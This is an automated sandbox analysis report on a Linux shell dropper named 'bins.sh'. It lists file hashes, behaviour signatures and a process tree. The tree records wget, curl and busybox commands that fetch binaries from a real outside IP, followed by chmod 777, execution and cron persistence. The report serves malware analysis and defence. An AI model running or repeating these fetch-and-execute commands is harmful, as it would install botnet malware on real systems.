Analysis

  • max time kernel
    150s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05-11-2024 00:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fe55ec7a9c108baee34e5028d3c61501

  • SHA1

    d8562e2cd5ac2b22c50957fe20b097f823b606c5

  • SHA256

    43dedff8578cec7e507ea89b05dbf354465c223f4acfbf5e5f9ec924aaab3778

  • SHA512

    be865b5d30e3f7babfe7ccd76bbfb176735d9af836c85b7a2c310c53eea50432ceec104d8dd1265df82566f3140c83259958d630c4691f62d6e7962bf0abbd2a

  • SSDEEP

    192:Oq/UtnXhFEQu38yuay8Qz3FnXhFEQKuay8QzPl/e:O9tnXnEQu38ycnXnEQ6R

Malware Config

Signatures

  • Contacts a large (2109) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:654
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:656
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:658
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          ./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Executes dropped EXE
          PID:689
        • /bin/rm
          rm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:704
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:716
          • /bin/chmod
            chmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • File and Directory Permissions Modification
            PID:721
          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            ./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:722
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:724
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:726
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:729
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:731
              • /bin/rm
                rm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
                2⤵
                  PID:740
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                  2⤵
                    PID:744

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6

                  Filesize

                  122KB

                  MD5

                  cd3d4b9c643e5b473fb4d88ed05f0716

                  SHA1

                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                  SHA256

                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                  SHA512

                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.SnYS6C

                  Filesize

                  210B

                  MD5

                  d473ab5777a87c7a4a36813c8f7027dd

                  SHA1

                  cbc92c9362560e5320223cc713ace03856c8edeb

                  SHA256

                  bd6f5c6facb9531faa96b5d4cbd7b7aaae57902b1574ff23461b465d8d42eb32

                  SHA512

                  58f2c965977736eba61b9be6473c6ed85fecec83c10437eeaa5f5d462c9844fea8f065c2c894eb56411021e281910e9ec1774d9d1345a7c24ba072cbf8b3c7d4